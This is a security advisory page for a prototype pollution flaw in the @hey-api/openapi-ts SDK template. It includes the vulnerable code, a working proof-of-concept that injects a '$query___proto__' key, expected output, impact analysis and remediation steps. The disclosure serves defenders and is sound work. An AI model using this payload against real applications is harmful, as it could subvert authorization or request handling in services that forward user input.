Severity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Network-delivered via crafted HTTP key; AC:H because exploitation requires a non-default proxy/BFF forwarding pattern; PR:N as no authentication is needed from the attacker; S:U because only the local params object is affected, not global prototype.
Primary rating from Vendor (https://github.com/hey-api/openapi-ts).
CVSS VectorVendor: https://github.com/hey-api/openapi-ts
Lifecycle Timeline
1Blast Radius
ecosystem impact- 15 npm packages depend on @hey-api/openapi-ts (7 direct, 8 indirect)
Ecosystem-wide dependent count for version 0.97.3.
DescriptionCVE.org
Summary
dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.
Details
The vulnerable branch in dist/clients/core/params.ts:
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
const [prefix, slot] = extra
;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method - a common pattern in proxy servers, BFF layers, and API gateways - an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.
PoC
npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-pocpoc.ts:
import { buildClientParams } from "./params.ts";
// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];
// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
[{ q: "hello", "$query___proto__": { isAdmin: true } }],
generatedFields
);
const q = result.query as any;
console.log(q.q); // "hello" - own property, normal
console.log(q.isAdmin); // true - inherited via prototype chain
console.log(Object.keys(q)); // ["q"] - own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
Scenario: GET /search with fields [{ in:'query', key:'q' }]
Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }
result.query.q = hello
result.query.isAdmin = true ← inherited, NOT own
Object.keys(q) = [ 'q' ]
for..in keys = q, isAdmin
Object.getPrototypeOf = {"isAdmin":true}No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip
Impact
The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.
Global Object.prototype is not modified - impact is limited to the returned slot object and its consumers.
Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.
AnalysisAI
Prototype pollution in @hey-api/openapi-ts affects all versions through 0.97.2, allowing remote unauthenticated attackers to substitute the prototype chain of the returned params slot object by passing a crafted key such as '$query___proto__' through any application that forwards user-supplied parameters to a generated SDK method. The flaw resides in a runtime template (dist/clients/core/params.ts) that is copied verbatim into every generated SDK, meaning every downstream npm package regenerated from this tool carries the vulnerable code - confirmed affected consumers include @opencode-ai/sdk and @trigger.dev/sdk. A functional proof-of-concept is publicly available; exploitation is not confirmed as actively exploited and is absent from CISA KEV.
Technical ContextAI
The vulnerability is classified as CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes - Prototype Pollution). The affected code lives in the extraPrefixes branch of buildClientParams in dist/clients/core/params.ts. When a key is not found in the generated field map but starts with one of four slot prefixes ($body_, $headers_, $path_, $query_), the function strips the prefix via key.slice(prefix.length) and performs a direct bracket-write: params[slot][derived_key] = value. Because no sanitization is applied to derived_key, passing '$query___proto__' causes derived_key to equal '__proto__', and the assignment params['query']['__proto__'] = value invokes the JavaScript engine's __proto__ setter, which calls Object.setPrototypeOf(params.query, value). The affected package is identified by CPE pkg:npm/@hey-api_openapi-ts and targets Node.js environments running generated TypeScript/JavaScript SDKs. Notably, global Object.prototype is not modified; the poisoned prototype is scoped to the returned slot object and its consumers.
RemediationAI
No vendor-released patched version has been identified at time of analysis; the fix version is not confirmed in the available data. Consumers should monitor the GitHub advisory at https://github.com/hey-api/openapi-ts/security/advisories/GHSA-hhx9-57xq-r5rw for an official patch release and regenerate all SDKs immediately upon availability, as the fix in the template must propagate to generated code. As an immediate compensating control, any application that forwards user-supplied keys to generated SDK methods should sanitize or allowlist input keys before passing them to buildClientParams - specifically, reject or strip any key where, after prefix removal, the resulting string matches __proto__, constructor, or prototype. Implementing a block at the API gateway or BFF layer to reject request parameters whose keys begin with $ slot prefixes ($query_, $body_, $headers_, $path_) is a coarser but deployable control; note this may break legitimate uses of those prefixes if any exist in the application. Applications that do not forward user-controlled key names to SDK methods are not exploitable and require no immediate action.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-45267
GHSA-hhx9-57xq-r5rw